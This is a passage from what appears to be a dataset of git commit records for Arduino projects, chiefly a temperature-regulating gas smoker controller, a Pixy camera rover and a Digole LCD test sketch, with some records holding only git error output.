gasValveMotorD = 26;\n\nconst int speaker_pin = 37;\n\nconst int led1_R = 12;\nconst int led1_G = 11;\nconst int led1_B = 10;\n\nconst int smokeValveServoPin = 9;\nconst int smokeValveMin = 0;\nconst int smokeValveMax = 180;\n\nconst int smokerRegulationInterval = 60; \/\/ Every minute. Hope it is ok. \n\nconst int meatTempPin = A4;\nconst int barrelTempPin = A5;\n\nconst int TFT_CS = 53;\nconst int TFT_DC = 49;\nconst int TFT_MOSI = 51;\nconst int TFT_MISO = 50;\nconst int TFT_CLK = 52;\nconst int TFT_RST = 48;\nconst int SD_CS = 47;\n\n\/* Initialize the one wire sensors*\/\nTemperatureSensors tempSensors(oneWireTempSensors_pin, barrelTempPin, meatTempPin);\n\n\/* Initialize the RGB Led *\/\nRGBLed led1(led1_R,led1_G,led1_B);\n\n\/* Initialize the speaker *\/\nSpeaker speaker(speaker_pin);\n\n\/* Initialize the Rotary Encoders *\/\nEncoder menuSelector(menuSelectorRE_A, menuSelectorRE_B);\nEncoder gasValveMotorRotationCheck(gasValveMotorRotationCheck_RE_A, gasValveMotorRotationCheck_RE_B);\n\n\/* Initialize the LCD Panel *\/\n\/\/Adafruit_ILI9341 tft = Adafruit_ILI9341(TFT_CS, TFT_DC, TFT_MOSI, TFT_CLK, TFT_RST, TFT_MISO);\nMyTFT *tft;\n\n\/* Initialize the RTC (Real Time Clock) *\/\n\/\/ nothing?!\n\n\/* Initialize the gas valve; it uses a rotary encoder to check if the gas valve is at the end *\/\nGasValve gasValve(&gasValveMotorRotationCheck, gasValveMotorA, gasValveMotorB, gasValveMotorC, gasValveMotorD);\n\n\/* Initialize the servo *\/\nSmokeValve *smokeValve; \n\n\/* Initialize the menu *\/\nMenu *mainMenu = new Menu(menuButton);\n\n\/* Initialize the logger to the SD card*\/\nLogger logger(SD_CS);\n\n\/* Here are all the parameters for the application *\/\nfloat target_temp = 30.0; \/\/ The target temperature \nint target_temp_location = TARGET_TEMP_BARREL;\nint rooktijd=120; \/\/smoketime in minutes\n\nint current_hour=10;\nint current_minute=30;\nint current_second=30;\nint current_month=2;\nint current_day=3;\nint current_year=2014;\n\nint smoking_started = 0; \/\/Is the barrel up-and-running, or are we in 'setup mode'?\nlong encvalue=0; \/\/ used for the menu-rotary encoder\nvolatile bool wasInSelected=false;\n\ntime_t starttime, lastregulation; \/\/ times for start and lastregulation\nboolean firstSmokeLoop=true;\nfloat lasttemp, lasttempdif;\n\n\/*\n *Here is all the setup of the project done\n *\/\nvoid setup() {\n \/\/ initialize Serial device to support debugging\n Serial.begin(9600);\n\n \/\/initialize the LCD\n tft = new MyTFT(TFT_CS, TFT_DC, TFT_MOSI, TFT_CLK, TFT_RST, TFT_MISO);\n \/\/initialize the menu\n createMenu();\n \n \/\/Close the smoke valve with the servo\n smokeValve = new SmokeValve(smokeValveServoPin, smokeValveMin, smokeValveMax);\n smokeValve->fullyClose();\n\n \/\/Close the gasvalve\n gasValve.fullyClose();\n\n \/\/blink light to indicate start\n led1.changeColor(&COLOR_GREEN);\n delay(100);\n led1.changeColor(&COLOR_BLUE);\n delay(100); \n led1.changeColor(&COLOR_RED);\n \/\/test speaker\n speaker.on();\n delay(20);\n speaker.off(); \n\n \/\/ Initialize the rotary encoder\n encvalue = menuSelector.read();\n\n \/\/ Initialize the menubutton\n pinMode(menuButton, INPUT);\n attachInterrupt(getInterruptForPin(menuButton), bPressed, FALLING);\n\n \/\/ Create a new file\n logger.createUniqueFileName();\n}\n\n\/*\n * This is the main of the arduino application\n *\/\nvoid loop() {\n long gasValvePos, smokeValvePos;\n float barrelTemp, meatTemp, ambientTemp;\n\n\n tmElements_t tm;\n\n long newvalue;\n bool selected = false;\n int steps = 0;\n\n \/\/ Get the time from the RTC\n if (RTC.read(tm)) {\n current_hour=tm.Hour;\n current_minute=tm.Minute;\n current_second=tm.Second;\n current_month=tm.Month;\n current_day=tm.Day;\n current_year=tmYearToCalendar(tm.Year); \n };\n\n \/\/ Do menu things if necessary\n mainMenu->display(tft->getTFT());\n wasInSelected = false;\n selected=false;\n while (!selected && !wasInSelected) {\n newvalue = menuSelector.read();\n if ((newvalue - encvalue) % 4 != 0) {\n continue;\n }\n if (newvalue > encvalue) {\n steps = (newvalue - encvalue)\/4;\n for (int i=0;i<steps;i++) {\n mainMenu->highlightNext();\n };\n encvalue=newvalue;\n selected=true;\n } \n else {\n if (newvalue < encvalue) {\n steps = (encvalue - newvalue)\/4;\n for (int i=0;i<steps;i++) {\n mainMenu->highlightPrevious();\n };\n encvalue=newvalue;\n selected=true;\n } \n else {\n delay(100);\n \/\/the same so wait for a new value\n }\n }\n }\n\n \/\/ Check the temps\n barrelTemp = tempSensors.getBarrelTemperature();\n meatTemp = tempSensors.getMeatTemperature();\n ambientTemp = tempSensors.getAmbientTemperature();\n\n RTC.read(tm);\n \/\/ display the temps and time at the LCD\n tft->displayTemps(ambientTemp, meatTemp, barrelTemp, target_temp, target_temp_location == TARGET_TEMP_MEAT);\n tft->displayTime(&tm);\n\/\/ tft->displayTimeRemaining(seconds_smoking_left, smoking_started);\n\n \/\/ Now check if the smoking is started\n if (smoking_started) {\n if (firstSmokeLoop) {\n logger.writeln(\"Smoking started\");\n starttime = RTC.get();\n \/\/ now determine the endtime for the smoking.\n firstSmokeLoop = false;\n lasttemp = 0;\n lasttempdif = 0;\n \/\/ Change led to green to indicate that smoking is started\n led1.changeColor(&COLOR_GREEN);\n }\n \/\/ Do all the regulating one every x seconds. Else there is to much turning on all the knobs\n time_t current = RTC.get();\n if (current - lastregulation > smokerRegulationInterval) {\n\n \/\/ Check the temps\n barrelTemp = tempSensors.getBarrelTemperature();\n meatTemp = tempSensors.getMeatTemperature();\n ambientTemp = tempSensors.getAmbientTemperature();\n if (ambientTemp > target_temp) {\n logger.writeln(\"Error: ambient temperature higher than target temperature. Aborting!\");\n led1.changeColor(&COLOR_MAGENTA);\n smoking_started = false;\n }\n \/\/ Get the positions of the gasvalve steppermotor and smoke valve servo\n gasValvePos = gasValve.getCurrentPosition();\n smokeValvePos = smokeValve->getCurrentPosition();\n\n \/\/ Also update the LCD display to show the current positions (temps are already done\n tft->displayValveStatus(smokeValvePos, gasValvePos);\n \n \/\/ Now determine which temperature to use and see what the diff is between the current temp and the target temp\n float temp = (target_temp_location == TARGET_TEMP_BARREL)?barrelTemp:meatTemp;\n float tempdif = target_temp - temp;\n\n \/\/ Now write all the logging for later inspection\n logger.writeLoggingInfo(ambientTemp, meatTemp, barrelTemp, target_temp, target_temp_location, temp, tempdif, lasttempdif, gasValvePos, smokeValvePos);\n\n \/\/ tempdif > 0 betekent dat de temperatuur nog niet bereikt is. Er mag nog doorgestookt worden, \n \/\/ alleen moet als de tempdif bijna bij 0 is wel opgelet worden dat de gaskraan niet meer hoog open blijft.\n\n if (tempdif > 0) { \/\/ is it too cold. but how much? And was it to cold last time?\n logger.writeln(\"1: tempdif > 0\");\n if (lasttempdif < 0) { \/\/ was it to hot last time?\n logger.writeln(\"1.1: lasttempdif < 0\");\n if (tempdif < 1) { \/\/ is it just 1 degree to cold? Try to regulate it with the smoke valve\n logger.writeln(\"1.1.1: tempdif < 1\");\n smokeValve->close(50); \/\/ close it and hope the temp will stabilize\n } else if (tempdif < 3) { \/\/ 3 degrees to cold, but last time it was too hot, so the temp dropped a lot\n logger.writeln(\"1.1.2: tempdif < 3\");\n smokeValve->fullyClose(); \/\/ close the smokevalve fully. \n gasValve.open(1); \/\/ just 1 step open\n } else { \/\/ more than 3 degrees temp drop in 1 minute. That is really strange. \n logger.writeln(\"1.1.3: tempdif >= 3\");\n smokeValve->fullyClose(); \/\/ close the smokevalve\n gasValve.open(3); \/\/ turn on the heat\n }\n } else { \/\/ it was not to hot last time\n logger.writeln(\"1.2: lasttempdif >= 0\");\n \/\/ now determine how close we are\n if (tempdif < 5) { \/\/ just 5 degrees? Look at the last value, so we know how much it was raised in 1 cycle\n logger.writeln(\"1.2.1: tempdif < 5\");\n if (lasttempdif <= tempdif) { \/\/ it even got colder?\n logger.writeln(\"1.2.1.1: lasttempdif <= tempdif\");\n gasValve.open(1); \/\/ open the gas a little bit\n smokeValve->close(5); \/\/ and close the smokevalve;\n } else if (lasttempdif < 10) { \/\/ it was 10 degrees to cold and now 5. So lets temper the fire and hope it will use the restwarmte\n logger.writeln(\"1.2.1.2: lasttempdif < 10\");\n if (gasValve.close(5)) { \/\/ now fully closed?\n \/\/ do something with the smokevalve? I don't know \n logger.writeln(\"1.2.1.2.1: gasvalve.close == true\");\n } \n } else if (lasttempdif < 20) {\n logger.writeln(\"1.2.1.3: lasttempdif < 20\");\n\n \/\/ So it was almost 20 degrees in 1 cycle\n if (gasValve.isFullyClosed()) { \/\/ is the gasvalve already closed and it still raised that much?\n logger.writeln(\"1.2.1.3.1: gasValve.isFullyClosed()\");\n smokeValve->fullyOpen();\n } else {\n logger.writeln(\"1.2.1.3.2: !gasValve.isFullyClosed()\");\n gasValve.fullyClose(); \/\/ \n smokeValve->open(20);\n }\n } else { \/\/ more than 20 degrees in one cycle. So vent it and hope the temp will not raise to much\n logger.writeln(\"1.2.1.4: lasttempdif >= 20\");\n gasValve.fullyClose();\n smokeValve->fullyOpen();\n }\n } else if (tempdif < 10) { \/\/ just 10 degrees to cold\n logger.writeln(\"1.2.2: tempdif < 10\");\n if (lasttempdif < 10) { \/\/ but last time it was also 10 degrees to cold\n logger.writeln(\"1.2.2.1: tempdif < 10\");\n if (gasValve.open(3)) {\/\/ turn on the gas\n logger.writeln(\"1.2.2.1.1: gasvalve.open == true\");\n \/\/ it is now fully open. \n smokeValve->fullyClose(); \/\/ so close the smokevalve, if opened\n }\n } else {\n logger.writeln(\"1.2.2.2: tempdif >= 10\");\n gasValve.close(3); \/\/ close the gas a little bit so it won't rise to fast\n }\n \n } else if (tempdif < 30) { \/\/ 30 degrees to cold. \n logger.writeln(\"1.2.3: tempdif < 30\");\n if (lasttempdif < 30) { \/\/ but last time it was also 30 degrees to cold\n logger.writeln(\"1.2.3.1: lasttempdif < 30\");\n if (gasValve.open(5)) {\/\/ turn on the gas\n logger.writeln(\"1.2.3.1.1: gasvalve.open == true\");\n \/\/ it is now fully open. \n smokeValve->fullyClose(); \/\/ so close the smokevalve, if opened\n }\n } else {\n logger.writeln(\"1.2.3.2: lasttempdif >= 30\");\n gasValve.close(1); \/\/ close the gas a little bit so it won't rise to fast\n }\n \n } else {\n logger.writeln(\"1.2.4: tempdif >= 30\");\n gasValve.fullyOpen();\n smokeValve->fullyClose();\n }\n }\n \n }\n\n\n\n \/\/ als tempdif < 0 betekent dat de max-temp overschreden is. Afhankelijk van de grootte van de overschrijding\n \/\/ zal de gaskraan helemaal dicht moeten en de rookklep open. \n if (tempdif < 0) {\n logger.writeln(\"2: tempdif < 0\");\n if (lasttempdif < 0) { \/\/ Hij was vorige keer ook al te warm.\n logger.writeln(\"2.1: lasttempdif < 0\");\n \/\/ now check the position of the gasvalve\n if (gasValve.isFullyClosed()) { \/\/ the GasValve is already totally closed\n logger.writeln(\"2.1.1: gasValve.isFullyClosed()\");\n \/\/ So check the smokeValve\n if (smokeValve->isFullyOpen()) { \/\/ Is the smokevalve totally open?\n logger.writeln(\"2.1.1.1: smokeValve->isFullyClosed()\");\n \/\/ I don't know what to do now. Gas is off, smokevalve totally open. Just wait for the temp to drop.\n } else {\n logger.writeln(\"2.1.1.2: !smokeValve->isFullyClosed()\");\n if (tempdif > -1) { \/\/ just 1 degree to hot?\n logger.writeln(\"2.1.1.2.1: tempdif > -1\");\n smokeValve->open(1); \/\/ just 1 step extra open\n } else if (tempdif >-3) {\n logger.writeln(\"2.1.1.2.2: tempdif > -3\");\n smokeValve->open(5); \/\/ 5 steps extra open\n } else { \/\/ More than 3 degrees to hot? Open the smokevalve totally\n logger.writeln(\"2.1.1.2.3: tempdif <= -3\");\n smokeValve->fullyOpen();\n }\n }\n } else { \/\/ the gasvalve is not fully closed, but the temp is to hot. Just close it now\n logger.writeln(\"2.1.2: !gasValve.isFullyClosed()\");\n gasValve.fullyClose();\n\n if (tempdif >-3) { \/\/ 3 degrees to hot? Open the smokevalve so the temp can drop faster\n logger.writeln(\"2.1.2.1: tempdif > -3\");\n smokeValve->open(10); \/\/ 10 steps extra open\n } else { \/\/ More than 3 degrees to hot? Open the smokevalve totally\n logger.writeln(\"2.1.2.2: tempdif <= -3\");\n smokeValve->fullyOpen();\n }\n }\n } else { \/\/ last time it was not to hot, so it is just to hot\n logger.writeln(\"2.2: lasttempdif >= 0\");\n if (gasValve.isFullyClosed()) { \/\/ is the gasvalve already closed?\n logger.writeln(\"2.2.1: gasValve.isFullyClosed()\");\n if (smokeValve->isFullyOpen()) { \/\/ is the smokevalve already open?\n logger.writeln(\"2.2.1.1: smokeValve->isFullyOpen()\");\n \/\/ Don't know what to do now. Both controls are exhausted \n } else { \/\/ only the smokeValve is usable to regulate the temperature\n logger.writeln(\"2.2.1.2: !smokeValve->isFullyOpen()\");\n if (tempdif > -1) { \/\/ just 1 degree to hot?\n logger.writeln(\"2.2.1.2.1: tempdif > -1\");\n smokeValve->open(1); \/\/ just 1 step extra open\n } else if (tempdif >-3) {\n logger.writeln(\"2.2.1.2.2: tempdif > -3\");\n smokeValve->open(5); \/\/ 5 steps extra open\n } else { \/\/ More than 3 degrees to hot? Open the smokevalve totally\n logger.writeln(\"2.2.1.2.3: tempdif <= -3\");\n smokeValve->fullyOpen();\n }\n }\n } else { \/\/ the gasvalve is not fully closed yet. \n logger.writeln(\"2.2.2: !gasValve.isFullyClosed()\");\n if (tempdif > -1) { \/\/ just 1 degree to hot?\n logger.writeln(\"2.2.2.1: tempdif > -1\");\n if (gasValve.close(2)) { \/\/ close 2 steps, but is it totally closed now?\n logger.writeln(\"2.2.2.1.1: gasvalve.close == true\");\n smokeValve->open(5); \/\/ Open more, because gas is closed now\n } else {\n logger.writeln(\"2.2.2.1.2: gasvalve.close != true\");\n smokeValve->open(1); \/\/ just 1 step extra open\n }\n } else if (tempdif >-3) {\n logger.writeln(\"2.2.2.2: tempdif > -3\");\n if (gasValve.close(5)) {\n logger.writeln(\"2.2.2.2.1: gasvalve.close == true\");\n smokeValve->open(20);\n } else {\n logger.writeln(\"2.2.2.2.2: gasvalve.close != true\");\n smokeValve->open(5); \/\/ 5 steps extra open\n }\n } else { \/\/ More than 3 degrees to hot? Open the smokevalve totally\n logger.writeln(\"2.2.2.3: tempdif <= -3\");\n gasValve.fullyClose();\n smokeValve->fullyOpen();\n }\n }\n }\n }\n\n \/\/ store the current temps for the next round, so we can see how fast the temp is raising or dropping \n lasttemp = temp;\n lasttempdif = tempdif;\n\n \/\/ now make sure the interval is reset\n lastregulation = RTC.get();\n \/\/ now check if the endtime is reached\n long seconds_smoking_left = determineSmokingTimeLeftInSeconds(starttime, lastregulation, rooktijd);\n tft->displayTimeRemaining(seconds_smoking_left, smoking_started);\n if (seconds_smoking_left<0) {\n smoking_started=false;\n firstSmokeLoop=true;\n logger.writeln(\"Smoking stopped because end time is reached\");\n for (int l = 0;l<10;l++) {\n led1.changeColor(&COLOR_BLUE);\n speaker.on();\n delay(500);\n led1.changeColor(&COLOR_GREEN);\n speaker.off(); \n delay(500); \n } \/\/ for\n led1.changeColor(&COLOR_GREEN);\n } \/\/ end time reached?\n } \/\/ regulator cycle loop\n } \/\/ smoking started\n} \/\/ main loop\n\n\/*\n * calculates the remaining time in seconds\n *\/\nlong determineSmokingTimeLeftInSeconds(time_t starttime, time_t currenttime, int smoketime_in_minutes) {\n long timeSmokerActiveInSeconds = currenttime - starttime;\n long totalSmokingTimeInSeconds = (long)smoketime_in_minutes * 60l;\n\n return totalSmokingTimeInSeconds - timeSmokerActiveInSeconds; \n}\n\n\/* \n * this method writes the value to the console if the board is connected.\n *\/\nvoid debug(char* str) {\n logger.writeln(str);\n}\n\n\/*\n * This is the initialization code for the menu-class. This can be controlled by a rotary encoder and a button\n *\/\nvoid createMenu() {\n StringOption* opt = new StringOption(\"Vat\\0\");\n opt->addOption(\"Vlees\\0\");\n\n StringOption* startopties = new StringOption(\"Nee\\0\");\n startopties->addOption(\"Ja\\0\");\n\n FloatSelector *tempsel = new FloatSelector(\"Stel temperatuur in:\\0\", &target_temp, 0.5f, 10, 250);\n StringSelector *valuesel = new StringSelector(\"Meet locatie:\\0\", &target_temp_location, opt);\n TimeSelector *timesel = new TimeSelector(\"Rooktijd:\\0\", &rooktijd, 5);\n StringSelector *smokestartsel = new StringSelector(\"Nu starten:\\0\", &smoking_started, startopties);\n\n Menu *instellingen = new Menu();\n\n IntSelector *hoursel = new IntSelector (\"Selecteer huidige uur:\\0\", ¤t_hour, 1, 0, 23);\n IntSelector *minutesel = new IntSelector (\"Selecteer huidige minuut:\\0\", ¤t_minute, 1, 0, 59);\n instellingen->addItem(20, \"Stel uren in\", false, NULL, hoursel);\n instellingen->addItem(21, \"Stel minuten in\", false, NULL, minutesel); \n\n IntSelector *daysel = new IntSelector (\"Selecteer huidige dag:\", ¤t_day, 1, 1, 31);\n IntSelector *monthsel = new IntSelector (\"Selecteer huidige maand:\", ¤t_month, 1, 1, 12);\n IntSelector *yearsel = new IntSelector (\"Selecteer huidige jaar:\", ¤t_year, 1, 2014, 2020);\n instellingen->addItem(22, \"Stel dag in\", false, NULL, daysel);\n instellingen->addItem(23, \"Stel maand in\", false, NULL, monthsel);\n instellingen->addItem(24, \"Stel jaar in\", false, NULL, yearsel); \n\n mainMenu->addItem(1, \"Start roken\\0\", false, NULL, smokestartsel);\n mainMenu->addItem(2, \"Doel temperatuur\\0\", false, NULL, tempsel);\n mainMenu->addItem(3, \"Vlees of vat sensor\\0\", false, NULL, valuesel);\n mainMenu->addItem(4, \"Rooktijd\\0\", false, NULL, timesel);\n mainMenu->addItem(5, \"Instellingen\\0\", true, instellingen, NULL);\n}\n\n\/*\nThe interrupt routine for the button\n *\/\nvoid bPressed() {\n mainMenu->selectCurrent();\n wasInSelected = true;\n};\n\n\/*\nMap the pin to an interrupt number for the Arduino Mega\n *\/\nint getInterruptForPin (uint8_t pin) {\n int interrupt=-1;\n\n switch (pin) {\n case 2:\n interrupt=0;\n break;\n case 3:\n interrupt=1;\n break;\n case 18:\n interrupt=5;\n break;\n case 19:\n interrupt=4;\n break;\n case 20:\n interrupt=3;\n break;\n case 21:\n interrupt=2;\n break;\n }\n return interrupt;\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketches\/Rookvat.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"daed80c1f55a15f3f6255e376dc199c873796330","subject":"fixed by Mark, + copyright notice","message":"fixed by Mark, + copyright notice","repos":"DamonHD\/OTRadioLink,Denzo77\/OTRadioLink,Denzo77\/OTRadioLink,opentrv\/OTRadioLink,DamonHD\/OTRadioLink,DamonHD\/OTRadioLink,opentrv\/OTRadioLink,Denzo77\/OTRadioLink,Denzo77\/OTRadioLink,opentrv\/OTRadioLink,DamonHD\/OTRadioLink,opentrv\/OTRadioLink","old_file":"dev\/utils\/setSim900Baud\/setSim900Baud.ino","new_file":"dev\/utils\/setSim900Baud\/setSim900Baud.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Denzo77\/OTRadioLink.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"faf13bde7502f2fa8433842be0e03aaf9ac74882","subject":"Create pixy-rover.ino","message":"Create pixy-rover.ino","repos":"hpssjellis\/pixy-spark-core-rover","old_file":"pixy-rover.ino","new_file":"pixy-rover.ino","new_contents":"\/\/ By Jeremy Ellis.\n\/\/ Rover should move slowly unless several seconds no response from the pixy then it should stop.\n\/\/ should move left or right based on where the object is.\n\/\/ should stop if the object gets to big a width ie it is close.\n\n\n#define FRAME_SKIP 25 \/\/ How many frames to skip. Lower numbers cause faster response\n\n\/* Globals -------------------------------------------------------------------*\/\n\/\/ Note my pololu big motor driver needs two digital and one analog PWM controls for the drive motor VNH5019\n\/\/ https:\/\/www.pololu.com\/product\/1451\n\nint myForward = D6; \/\/ set or change these as needed\nint myBackward = D5; \/\/ set or change these as needed\nint myDriveMotor = A0; \n\n\n\n\/\/ I am using the cheap pololu motor driver that only needs one digital and one analog pins for the turning motor DRV8835\n\/\/ https:\/\/www.pololu.com\/product\/2135 note: this can drive two motors but I needed the bigger driver for the 2.3 amp drivemotor\n\nint myLeftRight = D0; \/\/ different motor driver does both left and right\nint myTurnMotor = A1; \/\/A4; \/\/ this one must be changed since it is used by the Pixy along with A3,A4,A5\n\nint myD7 = D7; \/\/ to test if wifi is working\nint myLast = Time.now(); \/\/ for emergency motor stop after 4 s no activity from the pixy\n\n\n\n\n\n\n\n\/\/ Begin User Defined Defines\n#define FRAME_SKIP 25 \/\/ How many frames to skip. Lower numbers cause faster response\n\/\/ End User Defined Defines\n\n\/\/ #include \"SPI.h\" \/\/ got rid of this since it would not compile\n#include \"Pixy.h\"\n#include \"TPixy.h\"\n\n\n\/\/ Not sure how to flash new code so will not do this yet.\n\/\/SYSTEM_MODE(MANUAL); \/\/ Set the system mode to manual. We don't need the cloud for this code\n\n\nPixy pixy; \/\/ Create our pixy object\nint i = 0; \/\/ Create an int to count for frame skipping. Frame skipping is used to artificially slow down the pixy loop\n\n\/\/ Setup - Runs Once @ Startup\nvoid setup() { \n\/\/ Spark.function(\"my-main\", myMain); \n pinMode(myDriveMotor, OUTPUT);\n pinMode(myForward, OUTPUT);\n pinMode(myBackward, OUTPUT);\n \n pinMode(myTurnMotor, OUTPUT);\n pinMode(myLeftRight, OUTPUT);\n\n pinMode(myD7, OUTPUT); \n \n \n \n \/\/Serial.begin(9600); \/\/ Initalize the USB Serial port\n \/\/ pixy.init(); \/\/ Initalize the pixy object\n \n \/\/PUT YOUR SETUP CODE HERE. Note: Only three more functions allowed!\n \/\/ test everything using the return int from a function!\n \n \n \/\/RGB.control(true);\n \/\/RGB.color(0, 255, 255); \/\/cyan\n RGB.brightness(1); \/\/ 1=very low light, 255 = max\n\n\n Serial.begin(9600); \/\/ Initalize the USB Serial port\n pixy.init(); \/\/ Initalize the pixy object\n}\n\n\/\/ Loop - Runs over and over\nvoid loop(){ \n \n \n \n RGB.brightness(1); \n if (Time.now() >= myLast + 4){ \/\/ car may be out of control or wifi down or pixy down\n \n analogWrite(myDriveMotor, 0); \/\/ shut both motors down\n analogWrite(myTurnMotor, 0); \n RGB.brightness(100); \/\/ show that no processing lately\n }\n \n \n \n \/\/ Variable Creation \n uint16_t blocks; \/\/ Create an unsigned int to hold the number of found blocks\n char buf[50]; \/\/ Create a buffer for printing over serial\n\n blocks = pixy.getBlocks(); \/\/ Do the pixy stuff. Grab the numbers of blocks the pixy finds\n \n \/\/ If we have some blocks increment the frame counter (i) and if enough frames have passed print out data about the found blocks to the serial port\n if (blocks) {\n myLast = Time.now(); \/\/ update time to see if car still in wifi control\n \n \n \/\/ Deal with all the turning x = 0 - 319\n \n if (pixy.blocks[0].x < 150){ \/\/object on the left so car should turn right\n digitalWrite(myLeftRight, 1);\n analogWrite(myTurnMotor, 250); \n } else {\n \n if (pixy.blocks[0].x > 190){ \/\/object on the right so car should turn left \n digitalWrite(myLeftRight, 0);\n analogWrite(myTurnMotor, 250); \n \n } else { \/\/ object in the middle so just go straight\n analogWrite(myTurnMotor, 0); \n \n }\n \n } \/\/ end turning main if\n \n \n \/\/ deal with the speed of the rover width = 0 - 320\n \n if (pixy.blocks[0].width < 30){ \/\/Object is very far away so go faster\n \n digitalWrite(myForward, 1);\n digitalWrite(myBackward, 0);\n analogWrite(myDriveMotor, 250);\n \n } else { \n \n if (pixy.blocks[0].width > 70){ \/\/Object is very wide so it is too close so stop\n \n analogWrite(myDriveMotor, 0);\n \n } else { \/\/ object a good distance away go a medium speed 0-250\n digitalWrite(myForward, 1);\n digitalWrite(myBackward, 0);\n analogWrite(myDriveMotor, 100);\n }\n }\n \n \n \n \n \n } \/\/ end blocks\n} \/\/ end loop\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'pixy-rover.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"dfb6afeac9ea85f2dd6221537014e8ae4cbd540c","subject":"Minor comments changes","message":"Minor comments changes","repos":"bitbitbitbitbitbitbitbit\/LineFollowing,bitbitbitbitbitbitbitbit\/LineFollowing","old_file":"L1 CS\/receive_from_matlab\/receive_from_matlab.ino","new_file":"L1 CS\/receive_from_matlab\/receive_from_matlab.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/bitbitbitbitbitbitbitbit\/LineFollowing.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"c72a75911ecdf9f830499667f2a902238882c1e9","subject":"Update lcd_1.ino","message":"Update lcd_1.ino","repos":"futureshocked\/arduino_sbs,futureshocked\/arduino_sbs,futureshocked\/arduino_sbs","old_file":"LCD TFT Screen\/lcd_1\/lcd_1.ino","new_file":"LCD TFT Screen\/lcd_1\/lcd_1.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'LCD' did not match any file(s) known to git\nerror: pathspec 'TFT' did not match any file(s) known to git\nerror: pathspec 'Screen\/lcd_1\/lcd_1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d5663e9b16c0a7b043629704d59763967516694a","subject":"Changes in spider sketch.","message":"Changes in spider sketch.\n","repos":"mamu7211\/ArduinoSpider,mamu7211\/ArduinoSpider","old_file":"sketch\/spider\/spider.ino","new_file":"sketch\/spider\/spider.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mamu7211\/ArduinoSpider.git\/'\n","license":"unlicense","lang":"Arduino"} {"commit":"398c1e1321eb96d398a6fcd67a7d23e1dd5ad4d3","subject":"Create digole_UART_20x4_test.ino","message":"Create digole_UART_20x4_test.ino","repos":"cdrodriguez\/DigoleGeo","old_file":"firmware\/examples\/digole_UART_20x4_test.ino","new_file":"firmware\/examples\/digole_UART_20x4_test.ino","new_contents":"\/*----------NOTE----------\nnew version of lib will save your compiled code size for the sample\nThe size for 2 version(@Arduino V1.0.1):\n UART I2C SPI\nOLD 8998 8988 9132\nNEW 6966 7566 6354\n------------------------*\/\n#define _Digole_Serial_UART_ \/\/To tell compiler compile the special communication only, \n\/\/other available is: _Digole_Serial_I2C_ and _Digole_Serial_SPI_\n#include \"DigoleGeo.h\"\n\/\/--------UART setup, if you don't use UART, use \/\/ to comment following line\nDigoleSerialDisp mydisp(&Serial1, 9600); \/\/UART:Pin 1(TX)on arduino to RX on module\n\/\/--------I2C setup, if you don't use I2C, use \/\/ to comment following 2 lines\n\/\/#include <Wire.h>\n\/\/DigoleSerialDisp mydisp(&Wire,'\\x27'); \/\/I2C:SDA (data line) is on analog input pin 4, and SCL (clock line) is on analog input pin 5\n\/\/--------SPI setup, if you don't use SPI, use \/\/ to comment following line\n\/\/DigoleSerialDisp mydisp(8,9,10); \/\/SPI:Pin 8: data, 9:clock, 10: SS, you can assign 255 to SS, and hard ground SS pin on module\n#define LCDCol 20\/\/16\n#define LCDRow 4\/\/2\n\nint ptr;\nconst char a[] = \"disp char array\";\nconst char b = 'Q';\nint c = 3456;\nString d = \"I'm a string\";\n\/\/float pi = 3.1415926535;\ndouble lg10;\n\nvoid setup() {\n mydisp.begin();\n \/*----------for text LCD adapter and graphic LCD adapter ------------*\/\n mydisp.clearScreen(); \/\/CLear screen\n \/\/mydisp.displayConfig(1); \/\/set config display ON, 0=off\n \/\/mydisp.setI2CAddress(0x29); \/\/this function only working when you connect using I2C, from 1 to 127\n \/\/delay(1000);\n \/\/mydisp.setLCDColRow(16,2); \/\/set LCD Col and Row, only time set up is OK\n mydisp.disableCursor(); \/\/disable cursor, enable cursore use: enableCursor();\n mydisp.drawStr(6, 0, \"Demo now\"); \/\/display string at: x=4, y=0\n\n \/\/Test print function\n mydisp.setPrintPos(0, 1);\n mydisp.print(a); \/\/ display a char array\n resetpos();\n mydisp.print(\"display a char:\");\n mydisp.print(b); \/\/display a char\n resetpos();\n mydisp.print(\"int as DEC:\");\n mydisp.print(c); \/\/display 3456 in Dec\n resetpos();\n mydisp.print(\"as HEX:\");\n mydisp.print(c, HEX); \/\/display 3456 in Hex\n resetpos();\n mydisp.print(\"as OCT:\");\n mydisp.print(c, OCT); \/\/display 3456 in Oct\n resetpos();\n mydisp.print(\"BIN:\");\n mydisp.print(c, BIN); \/\/display 3456 in Bin\n resetpos();\n mydisp.print(d); \/\/display String object\n resetpos();\n mydisp.print(\"float pi=\");\n mydisp.print(pi); \/\/display float of PI\n resetpos();\n mydisp.print(\"Pi6=\");\n mydisp.print(pi, 6); \/\/display PI in 6 Accuracy\n resetpos();\n mydisp.print(\"Pi*3=\");\n mydisp.print(pi * 3, 6); \/\/display PI time 3 in 6 Accuracy\n resetpos();\n mydisp.print(\"lg5=\");\n mydisp.print(log(5), 8); \/\/display log(5) in 8 Accuracy\n resetpos();\n for (uint8_t j = 0; j < 4; j++) \/\/making \"Hello\" string moving\n {\n for (uint8_t i = 0; i < 10; i++) 